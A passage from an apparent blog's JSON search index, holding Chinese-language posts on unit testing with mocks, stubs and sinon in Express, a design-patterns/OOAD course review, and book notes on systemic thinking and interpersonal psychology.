上游行動往往帶來的效益是巨大的,但是發酵時間卻是非常漫長,因為上游行動改變的往往是制度層面,而下游行動則是反過來。這也是為什麼多數人選擇下游行動,因為更快見效比較有感,但就是解決問題表面而已。 千里之行,始於足下 當面對一個問題的時候,投身到這個問題之中,實際去面對和解決問題,只有當近距離觀察問題,才會有辦法察覺到問題的核心在哪裡,且先想著了解如何幫助一個人,再去想怎麼幫助數百人。若有人都沒實際去訪談了解一個無家者,就想直接解決遊民問題,我是不信他能解決,這也呼應到我在 StackOverflow 那篇提到的 X-Y 問題。 計分板比解藥還重要 書中其實很大量提到數字統計的重要性,也有提到資料應該是要以學習為目的,而不是鑑定為目的。以鑑定為目的,通常是『業績沒有達到 XXX 是有什麼問題發生嗎?』的思維方式,而以學習為目的,是提出假設去實驗看看結果會增加或是減少,而要能得到這些數字就是要建立回饋循環,有快速的回饋才有辦法即時調整自己的站位。 後記這本書非常建議大家閱讀,內容真的很有趣,也可以從不同例子中看到原來有很多不同思維模式。","link":"/2021/11/25/upstream/"},{"title":"Unit Test 實踐守則 (五) - 如何有效使用 Test Double","text":"前言上一篇如何寫出一個好的 Unit Test? 留下的兩個問題 那除了 business logic 以外都不用寫 unit test 嗎? 如果測試切入點從 controller 開始, 然後對 mock/stub 資料庫去做 unit test 不也是可以? 文章中有提到 Test Double, 但好像沒有說用在哪或是怎麼使用比較好? 在討論第一個問題之前, 我們需要先花點介紹書中 Integration Test 的定義 至於關於第二個問題其實當我們開始用 Test Dobule 的時候不外乎是要針對外部資源或是資料庫使用 Test Doubles那麼要如何比較準確使用 Test Doubles 去測試呢?是不是在 unit test 中的待測試程式從資料庫取得資料時需要用到 Test Doubles 呢? 以上兩個問題等等會詳細地進行說明但為了要說明, 我們必須先瞭解書中 Integration Test 的定義 Integration Test 是什麼?還記得我們提到過 unit test 的定義嗎? 驗證一小段的程式碼, 並以驗證單一行為為主, 就是 unit of behavior 執行快速 獨立性 (isolated) 不受其他 unit test 影響 而在書中對 Integration Test 的定義就是, 當測試不符合上面其中一點時就是 Integration Test以第一點來說, 我們 unit test 驗證的是 1 個行為但對 Integration Test 來說, 驗證的是 N 個行為 除此之外, 當有對外部資源或資料庫直接操作或是做 mock 的話, 也隸屬於 Integration Test可以看到作者在這則評論裡面談到這件事以及我去跟作者 dobule check unit test 和 Integration test 的定義的評論 不過有趣的是, 作者認為技術上配合 mock 資料庫去驗證 1 個行為這種方式, 可以算得上 unit test只是作者覺得為了簡單好區分就把他歸類在 Integration Test 了 Technically, a test that covers the controller and mocks the database would be a unit test,but I would still categorize it as an integration test for simplicity sake.from https://disq.us/p/2cg0hl8這個連結點進去要稍等一下, 才會跳到那個評論 所以回到前面的問題『除了 business logic 以外都不用寫 unit test 嗎?』這其實還是得看情況, 如果一個 API 的程式邏輯相對單純那 unit test 做的事情就已經達到 Integraion Test 做的事情只是定義上可能會有些不同而已 而前面提到過書中把程式分成四大類型, 而 unit test 和 Integration test 也會依照不同分類去使用 (圖一)所以按照書中邏輯, 作者是不希望在進行 unit test 時牽扯到外部資源的希望單純以 business logic 去進行 unit test因為此特點所以在 unit test 中其實會非常少用到 Test Double (除非選用 unit of code)至於其他牽扯到多個行為或是外部資源就交由 Integration Test 去處理 這也是為什麼前一篇的 unit test 是會以 userService 為切入點進行測試, 而不是 controller 如果有遵守重構的原則進行拆分, 在使用 Test Double 的時候大部分都會是使用在 Integration Test 裡面但 Integration Test 通常是會實際去跟外部資源進行測試也就是會實際讀取資料庫, 但有一些像是要付錢的 API 可能就還是要 mock/stub 的方式去處理像是 91 大介紹的 Intergration Test 也有提到這點 所以這帶來一個問題也就是既有程式在還沒拆分 business logic 之前, 或是本身邏輯違反六角形結構 (hexagonal architecture)導致在 business logic 裡面去讀取資料庫時該怎麼解決 這就回歸到上一篇提到的重構環節了但我們要思考的是如何在重構中又能保持原本程式 output 是不變的才對針對這點, 我有特別去跟作者確認如果在 business logic 還未抽出來之前會建議先使用 Integration test (無論要不要用 mock) 先去做驗證沒問題的話, 在開始把 business logic 抽出來去寫 unit test 的流程適合嗎?而我得到的回覆如下 That’s also correct. Write an integration test first, to check the overall behavior. Then do the refactoring.from https://disq.us/p/2cg0hl8 所以這也重複驗證, 本書是希望針對 business logic 去做 unit test剩餘的就交給 Integration test, 也就是上圖圖一的 Controller 部分 接著我們討論一下 Test Double 的使用方式 Test Double 使用方式書中把 Test Double 分成兩種大類型 Mocks 是幫忙驗證以及模擬互動的結果. Stubs 是幫忙模擬 input data, 像是當成資料庫取值就會需要用到 Stubs. 想詳細了解各個 Test Dobule 的話可以參考之前我寫的 Test Double - 測試替身 以登入的例子來討論應該要用哪一種類型的 Test Double假設登入成功之後要寄信通知使用者登入成功, 程式如下12345678910// loginController.js// axios 是一個專門發 request 用的套件const axios = require(\"axios\")function login() { // 其餘程式就忽略 ...... axios.post(mailServiceUrl, { mail: mail, title: \"You've login successfully\" })} 那因為上一篇重構的案例把它調整成如下並且我們再加上一點邏輯在拆開的 mail.js 裡面12345678910111213141516171819// loginController.jsconst mail = require(\"./mail.js\")function login() { mail.sendLoginSuccessfullyMail(mail)}// mail.jsconst axios = require(\"axios\")module.exports = { sendLoginSuccessfullyMail: (mail) => { if (isMailFormatCorrect(mail) === false) { throw new Error(\"mail format is wrong\") } axios.post(mailServiceUrl, { mail: mail, title: \"You've login successfully\" }) }} 此時要 mock/stub 哪一個位置才是比較適合的呢? 以及要選 mock 還是 stub 呢?答案是使用 mock 在 mail.js 裡面的 axios 套件的 post 方法去進行驗證就好 原因是 mail.js 並不是實際上去發出外部請求的程式而是 axios.post 才是在 mail.js 裡面的程式也是內部相依性的一種所以在做 mock 的時候要以最外層, 實際去呼叫外部資源的地方為主透過這種方式可以以最大限度去檢測內部使用的相依性問題 如果萬一是 mock 在 mail 的 sendLoginSuccessfullyMail 方法的話變成有一段檢測 mail 格式的邏輯就會沒有測試到, 而這種方式就是 unit of code因為 unit of code 就是在測試程式中, 所有相依性都用 mock 去處理 那以前幾天提到六角形架構 (hexagonal architecture) 來看的話如下 所以在使用 mock/stub 盡量以最外面靠近外部資源的去 mock/stub不過當我們在測試這類型的時候, 其實也已經被歸類在 Integration test 裡面了 那麼接著為何剛剛的 case 要使用 mock 而不是 stub?在書中, 用了以下兩種方式去分類何時使用 mock 何時使用 stub有回傳值使用 stub, 無回傳值使用 mock 不過進一步說明的話, 因為在剛剛的 case 中並沒有需要寄信的 response 去處理任何東西所以我就也不需要用 stub 了我只需要用 mock 去驗證寄信的行為是不是有符合就夠了 後記透過這五篇帶大家了解一下書中內容的一些精華書中有些觀點我可能沒辦法完整呈現出來但有興趣的人可以去看看這本書, 真的寫得不錯!如果有任何疑問, 歡迎提出來一起討論!","link":"/2020/10/12/unit-test-best-practice-part-5/"},{"title":"express unit test 一些技巧教學以及困難點","text":"前言上一篇我們講到使用 sinon 搭配 express 的使用基礎今天會介紹的是關於在 nodejs 的 express unit test實作 unit test 的幾個技巧以及可能會遇到的問題該如何解決問題,並依靠 sinon 去達到希望的功效 stub 同一個 object在開始寫 unit test 之後會開始發現一件事情,就是需要對同一個物件重複做 stub在 a.test.js 需要 stub 一次在 b.test.js 又需要 stub 一次 直覺上測試程式可能會變成以下的樣子12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364// login.test.jsconst apiServiceStub = sinon.stub(apiService);describe(\"[登入功能]\", () => { it(\"登入成功\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceStub.login.withArgs(\"123\").resolves({ status: 0 }); await loginController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); }) it(\"登入錯誤\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceStub.login.withArgs(\"123\").resolves({ status: -1 }); await loginController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); })})// register.test.jsconst apiServiceStub = sinon.stub(apiService);describe(\"[註冊功能]\", () => { it(\"註冊成功\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceStub.register.withArgs(\"123\").resolves({ status: 0 }); await registerController.run(req, res) sinon.assert.calledWith(res.json, { message: \"註冊成功\", }); sinon.assert.calledOnce(res.json); }) it(\"註冊錯誤\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceStub.register.withArgs(\"123\").resolves({ status: -1 }); await registerController.run(req, res) sinon.assert.calledWith(res.json, { message: \"註冊失敗\", }); sinon.assert.calledOnce(res.json); })}) 我們在 login.test.js 以及 register.test.js都對 apiServer 進行 stub 的動作而這兩個檔案在獨立分別跑測試的時候是會成功的但一起執行的時候卻會爆出以下的錯誤TypeError: Attempted to wrap which is already wrapped代表說,我們對同一個 object 重複做了 wrap 可到個人的 github 下載程式,並執行 npm run w1就可以看到錯誤訊息了 要解決這個問題的話我們必須透過 stub 指定的 method再加上透過 restore 的方式釋放被 wrapped 物件的方法如果不 restore 的話,物件就會一直是 wrappred 的狀態然後就一直沒有辦法回復到原本物件應該有的狀態所以更改過後程式碼如下12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879// login.test.jslet apiServiceLogindescribe(\"[登入功能]\", () => { before(() => { apiServiceLogin = sinon.stub(apiService, \"login\"); }) after(() => { apiServiceLogin.restore(); }) it(\"登入成功\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.withArgs(\"123\").resolves({ status: 0 }); await loginController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); }) it(\"登入錯誤\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.withArgs(\"123\").resolves({ status: -1 }); await loginController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); })})// register.test.jslet apiServiceRegisterStub;describe(\"[註冊功能]\", () => { before(() => { apiServiceRegisterStub = sinon.stub(apiService, \"register\"); }) after(() => { apiServiceRegisterStub.restore(); }) it(\"註冊成功\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceRegisterStub.withArgs(\"123\").resolves({ status: 0 }) await registerController.run(req, res) sinon.assert.calledWith(res.json, { message: \"註冊成功\", }); sinon.assert.calledOnce(res.json); }) it(\"註冊錯誤\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceRegisterStub.withArgs(\"123\").resolves({ status: -1 }) await registerController.run(req, res) sinon.assert.calledWith(res.json, { message: \"註冊失敗\", }); sinon.assert.calledOnce(res.json); })}) 主要著手解決的地方在於兩點 before -> 把 stub 的地方改放這 (不過個人實驗過,不放這也沒問題,放這只是比較有統一性) after -> 加上 restore,在做完測試的時候把整個物件給釋放出來這點如果沒有做到的話,會導致在另一個 xxx.test.js 在使用同一個物件的方法時爆出已經被 wrapped 過後的錯誤訊息 可在個人專案下執行 npm run w2 即可看到錯誤訊息裡面的範例是把 login.test.js restore 給註解掉後故意讓 register.test.js 去對 login 做 stub 而不是 register此時因為 login.test.js 做過一次 stubregister.test.js 再做一次 stub 就會出現錯誤了成功的結果可以執行 npm run c1 看到 檢測 API URI透過 sinon.stub 的 withArgs 功能可以確定當我們程式在執行的時候,所呼叫的 api URI 是否正確123axiosPostStub.withArgs(\"http://localhost:7070/api/login\", data).resolves({ status: 0})當程式呼叫錯誤的 API URI 的時候就不會回傳我們預設給的回傳值就會導致程式後續失敗,這就是反向驗證了我們 API URI 是否正確的方式 可在個人專案下執行 npm run c2 即可看到結果 驗證 axios 的攔截器有時候我們會為 axios 加上攔截功能但如果要測試攔截功能,就又必須要有 server 才能辦到此時可以在 test case 裡面加上 http.createServer 做到這件事情12345678910111213141516171819202122232425262728293031323334// network.jsconst axios = require(\"axios\");axios.interceptors.request.use((config) => { console.log((\"do something for request\")); return config;});axios.interceptors.response.use((response) => { console.log((\"do something for response\")); return response.data;});module.exports = axios;// network.test.jslet server;describe(\"[network 功能]\", () => { afterEach(() => { server.close(); server = null; }) it(\"測試攔截功能(interceptors)\", (done) => { server = http.createServer((req, res) => { const data = {a:1} res.end(JSON.stringify(data)); }).listen(4000, () => { network.post(\"http://localhost:4000\").then((data) => { done(); }) }) })}); 配置好以上程式之後,可以在 terminal 看到兩個 console.log 的訊息這就代表我們的攔截器有被執行到個人認為攔截器測試獨立寫出來一個就可以不用特地讓其他測試案例都一定要執行到這功能,不然就不叫 unit test 了 可在個人專案下執行 npm run c3 即可看到結果 測試 callback function有些時候我們會需要把一些在用 callback function 的程式包起來改用 Promise 的方法使用,如下123456789101112131415161718const obj = { test: function(data, callback) { callback(data); }}const test = () => { return new Promise((res, rej) => { obj.test(\"qqqq\", (data) => { res(data) }) })}async function main() { let data = await test(); console.log(data);}main()// qqqq 在這種 callback 底下,可以透過 sinon.yields 去進行測試sinon.yields 的功能,就是可以強制讓你的 callback 被執行而不會去執行原本 function 內 callback 應該要執行的內容而且後面所帶的參數會變成你設定在 yields(data1, data2) 後面的 data1 data2這邊展示一個範例1234567891011const obj = { test: function(data, callback) { console.log(\"running\"); callback(data); }}obj.test(\"test\", (data) => { console.log(data);})// running// test 讓我們把程式加上 sinon.yield 試試看123456789101112const sinon = require(\"sinon\")const obj = { test: function(data, callback) { console.log(\"running\"); callback(data); }}sinon.stub(obj, \"test\").yields(1)obj.test(\"test\", (data) => { console.log(data);})// 1 程式會 log 出 1 這個值但是 running 並不會執行到非常符合 stub 的原則,就是會覆寫 function 原本的行為然後再透過 yields 的方法,可以直接你所撰寫觸發 callback 的行為而不會去執行 obj.test function 本身的行為 所以依此類推,我在後面多加幾個參數原本的 callback 回來的參數只會有一個,其餘為 undefined12345678910111213const obj = { test: function(data, callback) { callback(data); }}obj.test(\"test\", (data1, data2, data3) => { console.log(\"data1: \" + data1); console.log(\"data2: \" + data2); console.log(\"data3: \" + data3);})// data1: test// data2: undefined// data3: undefined 但是如果透過 sinon.yields 去強制給於另外兩個參數呢?123456789101112131415const sinon = require(\"sinon\")const obj = { test: function(data, callback) { callback(data); }}sinon.stub(obj, \"test\").yields(1, 2, 3)obj.test(\"test\", (data1, data2, data3) => { console.log(\"data1: \" + data1); console.log(\"data2: \" + data2); console.log(\"data3: \" + data3);})// data1: 1// data2: 2// data3: 3 callback 的時候,另外兩個參數也會跟著進來 那透過把 callback 包成 promise 的案例又該怎麼測試呢?範例如下,必須在執行 function 之前先加上 sinon.stub(obj, "test").yields(1) 就可以了1234567891011121314151617181920const sinon = require(\"sinon\")const obj = { test: function(data, callback) { callback(data); }}sinon.stub(obj, \"test\").yields(1)const test = () => { return new Promise((res, rej) => { obj.test(\"qqqq\", (data) => { res(data) }) })}async function main() { let data = await test(); console.log(data);}main()// 1 (因為已經被 yields 改成 1 了) 測試涵蓋率 (test coverage)做測試的時候當然少不了 test coveragenode.js 有一款叫做 nyc 的可以檢測 test coverage配製方法非常簡單,以下兩個步驟即可 下載 nyc npm install nyc 把 nyc 放置於 mocha 前面 nyc mocha ....如果要想看 html 結構的報告的話,nyc --reporter=lcov --reporter=text-summary mocha ... 可在個人專案下執行 npm run nyc 即可看到結果 結語以上介紹幾個在實際撰寫 unit test 會遇到的困難點以及解決方法未來還有遇到的話,會在陸陸續續補上來!","link":"/2019/12/22/unit-test-express-implement-troubleshooting/"},{"title":"水球潘 (水球學院) - 軟體設計模式精通之旅心得","text":"前言會接觸到這個是前同事介紹的,當時他跟我介紹是跟 OOAD 的部分,我一直都對這塊蠻感興趣的。以前開發功能大多是用文字配合 draw.io 去畫畫圖,沒有特別 follow UML 的畫法或是 OOAD 的思考脈絡,基本上這樣功能也是能實作出來。而設計面就配合文字和腦袋思考給記錄下來,看有沒有需要重新設計程式的部分,然後再補到原本的圖上。 但這樣的問題會是圖沒有 follow 比較統一的規則,後續讀的人會比較辛苦。而這個課程吸引我的點是會教如何以 OOAD 的思路去看待一份需求,並用 UML 畫出來。這帶來一個好處,透過統一規則,別人要看懂也會很快就能讀懂,就算看不懂的人,只要說明一些 UML 規則也很快就能上手,這部分就跟 DDD 裡面提到的 Ubiquitous Language 是類似的概念。 簡而言之,這堂課我是為了學習如何以 OOAD 的思考去開發功能,原本想說 Design Patterns 的部分就當作複習,順便換個用 Composition 為主的 Golang 熟悉 Design Pattern 也是不錯。不過實際上了之後,有發現自己對於一些 Design Pattern 的使用原因不到很精通,所以整體來說算有幫助到我更加釐清。只是這篇心得文上不會著墨太多 Design Patterns 的部分,還是會說明 OOAD 這塊比較多。 這篇文章不會帶入太多教學的內容,而是目前課程大約上了 60~70% 的一些心得和有在社群討論過的一些想法。 心得一:影片 x 文章 x 社群 x Review整體在用影片學習上我覺得很不錯,一個很大原因是影片的教學都有把重點都呈現出來,內容上也很清晰,所以在學習上其實沒有太大問題。而有些需要補充影片內容的部分,會透過文章的方式額外開放出來,也可以把想法拋到社群裡面討論。最後再透過每週 Code Review 去互相探討 OOAD 的思路以及最後 OOP 有沒有遇到什麼困難,除此之外,網站也會提供 Java 版本的詳解讓你參考,整體來說是有學習到東西的。 心得二:OOAD 有用嗎?要畫很完善嗎?以個人角度來說是有用的,不過不學 OOAD 你還是有辦法開發功能。就像不學武功你還是能打人,但學了武功你知道怎麼打得更有效率更痛。總之最重要的一點是以圖像方式輔助你理解需求這點,再透過 OOAD 關注各階段要注意的部分,讓你能夠專心處理。 再來換一個例子解釋 OOAD,以裝潢為例,在真正裝潢之前,都會丈量和瞭解客戶喜好的步驟,也就是去釐清這間房子的所有規格,之後再根據這個規格去做設計。 丈量後就會發現 (其實實際在量就會發現) 有些房子就很奇怪,梁就很厚、廚房有夠大或是客廳太小等等奇怪的限制,這時候客戶和設計就需要一起討論,類似客戶:「我家想弄工業風可以嗎?」設計師:「這邊距離比較短加上你家不透光,可能不能用常用的工業風的裝潢,不然會太暗,這部分需要調整一下」或是設計師:「你早上習慣做些什麼生活習慣,這樣我裝潢設計才可以符合你的習慣?」,而這些目的當然就是要裝潢一個漂亮和住的舒服以及實用的家。 其實 OOAD 和 Design Patterns 也是如此的概念,我們需要盡可能釐清需求方提出來的東西,就像做丈量和詢問客戶的生活習慣,所以他是一個雙向的互動,而釐清需求和了解限制之後,就可以針對有限制的部分做設計。而做設計這件事本身就是基於某一種限制而去處理這個限制的一種行為。 然而,如果在沒有釐清有哪些限制和需求的情況下設計,反而會導致設計出來的東西往往不符合使用者需求。就可能會變成設計師本身喜歡度假村風,就一直狂推度假村風給妳,在你拒絕後且還不等你開口前,卻又推了度假村風 b’ 給你,但你壓根就是不喜歡度假村風。而這邊回到 Design Pattern 的話,可能會變成一個只會 A pattern 的人在搞不清楚狀況下,狂使用 A patterns 的狀況一樣,所謂拿著錘子看什麼都像釘子。 另外前面提到,在丈量的當下就會知道這些限制是很常見的,而這些都有常用的作法可以解決,可能在進入到跟客戶討論環節之前你大概就知道要會有什麼問題,這就是靠業界長久累積下來的經驗,如同 Design Patterns 。 回到正題,所以 OOA 關注的是行為,而有些太詳細行為不一定要用 UML 的方式呈現,可以用文字標注在旁邊。最後會產出一份所謂的領域模型 (Domain Model),這個階段不會有任何設計或是程式細節出現,也不介意要用資料庫還是檔案等等細節的部分。捕捉物件的行為就是 OOA 階段最重要的事情,而同時會觀察到需求給你了哪些 forces,迫使你在 OOD 的時候必須要考量這些 forces 進行設計。 這裡的 forces 可以想像成一種壓力,也許是客戶提需求的時候特別要求又或是跟同事討論發現這邊會有潛在問題,例如不好擴增不好閱讀等等,種類繁多是沒有詳細定義和規則的。 OOD 關注的是設計,會依照 OOA 觀察到的 forces 去決定需要套用哪種 Design Pattern。另外我個人在 OOD 會簡單帶入思考程式流程上有沒有問題,但不會思考過於細節的部分,因為重點在於設計,而不是程式開發。 目前依照我完成的例子來說,OOAD 大部分囊括我實作的 80%,剩下就是一些程式細節沒有在圖上需要額外處理的部分。而在 OOP 階段發現當時 OOAD 有誤,再回頭修正 OOAD 其實就可以了,但就是要記住「什麼原因促使你在 OOP 階段發現 OOAD 有誤』,這樣在下次 OOAD 就能儘早發現問題所在。 透過 UML 的方式去視覺化呈現需求,對於開發者來說是非常有幫助的。不過其實也不一定要用 UML 去畫,只要能夠視覺化呈現出來,並讓大家有統一的共識,其實用什麼工具都不是問題。這點其實就像 System Thinking 的模板類似,透過視覺化幫你釐清遇到的問題,以更高的視角去俯視整體。 心得三:OOD 特化成語言專用?這點是有在 Discord 討論過,因為我寫 Golang 的關係,所以很多繼承地方會想轉用介面的方式去畫 OOD。但其實按照 OOD 的概念來說需要的是統一語言,也就是說其實不需要特別為了 Golang 去畫出 Golang 版本的 OOD。以 High Level 來說,這張圖不管到什麼語言他應該都要能通用。以 Golang 來說,進到實作階段再自己重新進行 mapping 其實就足以。 不過其實最終也能交給團隊決定要不要畫成 Golang 版本。如果太過執著使用方式是不是對的,可能會反而導致團隊協作不順,重點應該擺在能夠促使團隊合作順利這件事上。 心得四:題目出的不錯目前整題進度算是 60~70% 都放在 Github,覺得好玩的題目是大老二和寶藏地圖。其實開發程式久了都知道,除了程式開發是一種挑戰,需求分析也是一個難題。這些題目的難度對我來說都算剛好,有複雜有簡單的地方,但不至於太難。只要掌握前面 OOAD 分析的思路,其實很快都可以完成。 舉例來說有一個題目是大老二,在 OOA 階段下會簡單描述一些判斷行為,就可以發現圖中 Player 的 play() 有列出潛在的問題,這部份是題目有要求未來會擴充更多牌型。就代表在 OOA 階段要把這點給列出來,這樣在 OOD 階段就可以針對這個 force 處理。 所以在 OOD 階段就可以針對判斷多種牌型做設計,以這個例子來說就是利用 CoR 去處理判斷這件事,所以 OOD 圖出來就會長這樣。 最後對應到程式就是變這樣。 我知道上面跳的有點快,所以在這邊多補充一些思路,最主要的原因就是在 OOA 階段發現了行為變動性的存在以及需求的壓力,我們會有很多不同種牌組合會形成多種牌型,而我們要做的是去判斷牌型且在不能違反 OCP 的原則下去做 Design。那因為每一種牌型基本上對應到一種需求,所以這個現階段適合的做法就是用 CoR 去解決這個壓力。 基本上題目都有蠻多限制去規定哪裡要有 OCP 存在或是一定要按照什麼規則進行,以規則來說像是剛剛大老二有限定說一定只能出同樣的牌型。雖然實際上我們在玩的大老二是有所謂壓牌的概念,類似同花順可以壓所有牌型。但你不能因為你習慣這樣玩,就不照題目開發,因為這代表你忽視了客戶的需求。除非你問客戶他說可以壓牌,你才可以開發壓牌版的大老二。而以程式擴充性上有要求在新增牌型時不能破壞核心程式碼,換句話說就是在新增牌型的情況下,只需要新增一個檔案且在 Client 端把這個新的牌型加入進來即可,剩下核心程式碼完全不能動。 不過在真實開發環境下,其實不會有人跟你說哪邊要遵守什麼,所以題目這樣同時是優點也是缺點。這不能太依賴別人告訴你,而是在 OOA 階段的時候發現這些問題,並進而去詢問 PM/PO 有沒有擴增可能性,或是找其他 RD 討論有沒有需要先留後路。這很看當下的 context 決定的有沒有潛在的 forces,而這也很吃開發經驗,這就需要多寫扣去察覺了。 其他心得 當時開始寫題目的時間點有非常非常多的人排隊,導致每個人 review 的時間頂多 5 分鐘,其實根本不夠。但目前比較少人的情況,平均一個人可以拿到 15~20 分鐘 review 時間就可以討論很多細節,這點未來似乎會引入助教幫忙協助處理。 畢竟課程是長達半年的時間,所以其實當有問題拋出來的時候,不太會在很短時間內有人回覆你,畢竟大家也是在上班。會需要預期你的問題拋出來討論的時候,可能會是 1~2 天後才會有人跟你討論。 雖然沒有規定要用什麼語言撰寫,但如果是用天生有 OO 概念的語言的話,在學習整個課程會比較便利點。因為不用最後一段把 OOD 在實作時轉成像是 Golang 比較特別的寫法。 後記對我來說多學習不同 modeling 方法是有助於開發的,這樣我能透過每一個方法的不同角度,更深入地了解到事情的全貌。 .emgithub-container code.hljs { color: unset; background: unset; line-height: 18px; }","link":"/2023/06/28/water-ball-design-patterns/"},{"title":"別人怎麼對你,都是你教的 - part 1","text":"最近除了學習自身技術能力以外,也需要提升自己內心的能力最近看到一本書叫做『別人怎麼對你,都是你教的』裡面舉了相當多的例子讓你去了解心理學的概念,相當推薦這本書接下來幾篇會紀錄書中的金句和例子,但不會全部介紹 情緒書中提到關於十二種情緒,但都脫離不了一項原則 情緒只是一種能量,沒有好壞之分每一種情緒都有它獨特的價值、功能、存在的理由,都是我們可以利用的力量沒有所謂的負面情緒,只有情緒帶來的負面行為面對情緒時,要看到並接納情緒背後的真實表達 除了要看到接納情緒之外還要懂得如何運用這情緒帶來的意義先來看看書中如何說明面對『羨慕』以及『嫉妒』以及『焦慮』這三種情緒 羨慕與嫉妒羨慕是看到別人擁有的,自己也希望擁有嫉妒程度更深,看到別人擁有的,恨不得對方失去,藉來平衡自己的內心 要成為一座城市中最高的大樓有兩種方法一種是摧毀所有比自己高的大樓; 另一種就是打好基礎,不斷努力往上建前者是『嫉妒』後者是『羨慕』,這樣聽起來羨慕比較正向但兩者都有一個共通點,也就是對自我價值不足的體現 當了解了這兩種情緒之後,當未來發生希望摧毀其他大樓的情況時可以把這個嫉妒換成羨慕,但即使換成羨慕也是因為覺得自己不夠好這時要時時刻刻提醒自己,不是自己不夠好,而是自己還可以變得更好 焦慮焦慮常常發生在,未來幾天要上台報告或是要口試等等重大事情發生之前很多緊張會導致消耗我們的能量,書中提到一句話 未來還沒來,因此焦慮會一直存在,不斷消耗我們生命中的能量 但只要你覺察到感到焦慮的時候,試著把焦點拉回當下問問自己:面對未來可能的威脅我能怎麼辦? 我現在可以做些什麼,來減少未來可能的損失呢?於是你的焦點就拉回到解決方案上,而不是把精力虛耗在無謂的擔心上 大多數人所擔心的未來,都是不一定真的會發生的事情很多都是大腦自己憑空想像出來的 自信我們常會看到別人充滿自信,但你知道這個自信有分成兩種嗎? 大眾所說的自信其實分為兩種一種是建立在自己所做的某件事上的自信,隨著外在事物消失,自信也會分崩離析一種是對自己這個人的自己,也就是自己發自內心地相信自己,不受任何外在事物影響 第一個例子是作者有一位朋友,少年得志,好像沒有他辦不成的是,所有難題到了他那裡會迎刃而解後來當上市長,但因為一件突發事件,被抓去坐牢釋放之後,整個人就像人間蒸發一樣,誰都找不到他,他也不願再見當初的朋友 第二個例子是作者另一位朋友,在商界打拼多年,也曾經遭遇過一次滑鐵盧當時,大家都聽挺擔心他,生怕他想不開,於是作者試圖安慰他他笑了笑說:我只是暫時投資失利而已,只要生命還在,一切都可以從頭再來不同的事,以前坐頭等艙,現在做火車,我的生活方式改變了,但我還是我,並沒有什麼改變 真正的自信,只能向內修煉書中提到,自大並不是自信過度,相反地還是自我價值不足的外在表現而要如何面對這種自大,可以問問自己幾個問題 我的價值真的需要這些外物去證明嗎?如果有一天我不再擁有目前擁有的,我還能為自己感到驕傲嗎?如果要依賴這些外物才能驕傲,那我真正的價值在哪裡呢? 關係書中提到十種關係在這一篇先介紹關於溝通這件事情 溝通有個讀者留言給作者說了這樣的事情 我們公司的主管非常固執、獨斷,聽不進任何建議採用狼性管理模式來管理我們,一點都不理會員工的死活我到底要怎麼跟主管溝通 相信大家都有遇過聽不進你的話的人,導致溝通無法繼續但真的有那種無法溝通的人嗎? 先來看看一種例子一個孩子考試考了九十分父母卻說:『為什麼不是一百分? 這麼粗心,連這種簡單題目也做錯,太差勁了吧』站在孩子的角度,九十分已經是不錯的成績了,沒想到換來是一連串批評,孩子會有何感受? 溝通時,每個人都想證明自己是對的當你去批評和指責對方做得不夠的百分之十時他自然會觸發他自己的防衛機制,想進一切辦法像你呈現他做到的百分之九十於是爭吵就開始,但其實雙方都是對的,只是角度不同,焦點不一樣而已 當你觸發他的防衛機制時,他的心門也就關閉了當一個人心門關閉,要如何溝通呢? 所以要看見對方已經做得很好的地方,把對方放在對的位置讓他信任你,自然會願意接受你的建議無論是在溝通、談判、職場,還是與人相處都是一樣的 在這種狀況中,不仿試試書中提到的『位置感知法』 位置感知法一個人會陷入困境,通常是站在自己角度看問題所導致但不管一個人見識有多廣,總會有盲點所以要從不同位置、角度去看待同一個問題當你站在對方做的百分之九十的角度上,你會知道他其實也做了很多努力也就不會太過於批評導致對方的心門關上而無法溝通接下來就可以適當地給出建議,當你不全盤否地的同時,他也不會否定你的建議而是會朝著如何怎麼讓事情變得更好的方向 根據這個要點,書中在後面提出了對人不對事的看法因為事在人為,事情的對錯都是由人的標準與立場決定的不同人有不同標準與立場,就算同一個人站在不同立場,標準也不會一樣,對於對與錯的定義也就不同只針對事情的話,會忽略人的感受,就會讓事情沒辦法如願以償就像老鳥和菜鳥針對一件事情的遠見絕對不一樣老鳥經驗多了,自然知道有什麼該注意,但他不需要批評菜鳥沒注意到的點這樣只會讓菜鳥感到挫折 後記這本書真的不錯,真心推薦書中很多例子,是可以在不同場景替換的,因為核心是沒有改變的因為例子還有超級多,所以會慢慢記錄下來","link":"/2020/03/23/%E5%88%A5%E4%BA%BA%E6%80%8E%E9%BA%BC%E5%B0%8D%E4%BD%A0,%E9%83%BD%E6%98%AF%E4%BD%A0%E6%95%99%E7%9A%84-part1/"},{"title":"unit test 該怎麼用? 又該如何在 express 開發上實作 unit test?","text":"前言[2020-10-13 Update] Unit Test 定義可以參考筆者新寫的一篇Unit Test 實踐守則 (一) - Unit Test 定義是什麼, 涵蓋的範圍又是哪些?以下文章內容提到的 unit test 在上述文章的定義上比較偏向於 Integration Test [2019-12-22 Update]在 express unit test 一些技巧教學以及困難點裡面有針對一些技巧做說明以及增加測試涵蓋率的使用方式 在很久很久之前有提到過 unit test但那時候只有針對簡單到不能在簡單的 function 進行 unit test想必大家一定也不太了解 unit test 究竟要怎麼用在真正開發上面 在真正開發上面要用到 unit test一定會牽扯到讀取資料庫、讀取檔案、呼叫 API 等等複雜邏輯難道在做測試的時候,我還要確保我的 API 